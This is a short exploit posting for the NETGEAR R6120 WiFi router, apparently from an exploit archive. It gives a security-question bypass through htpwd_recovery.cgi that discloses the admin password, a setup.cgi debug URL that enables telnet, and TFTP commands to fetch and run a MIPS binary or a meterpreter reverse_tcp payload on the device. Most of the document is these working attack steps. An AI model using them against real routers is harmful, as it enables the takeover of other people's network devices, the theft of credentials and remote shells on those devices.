NETGEAR WiFi Router R6120 Credential Disclosure

NETGEAR WiFi Router R6120 suffers from a credential disclosure vulnerability.

MD5 | c17632c07fa30cddd4d7d71c6eb235b5

# Exploit Title: NETGEAR WiFi Router R6120 - Credential Disclosure
# Date: 2018-10-28
# Exploit Author: Wadeek
# Hardware Version: R6120
# Firmware Version:
# Vendor Homepage:
# Firmware Link:

# == Files Containing Juicy Info ==
>> (Server: Unspecified, UPnP/1.0, Unspecified)

# == Security Questions Bypass > Password Disclosure ==
>> (SSSSSSSNNNNNN value for input)
htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
">You have successfully recovered the admin password.</span>
">Router Admin Username</span>:&nbsp;admin</td>
">Router Admin Password</span>:&nbsp;Str0ng+-Passw0rd</td>

# == Authenticated Telnet Command Execution ==
>> http://admin:[email protected]/setup.cgi?todo=debug
:~$ telnet
R6120 login: admin
Password: Str0ng+-Passw0rd
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]

Related Posts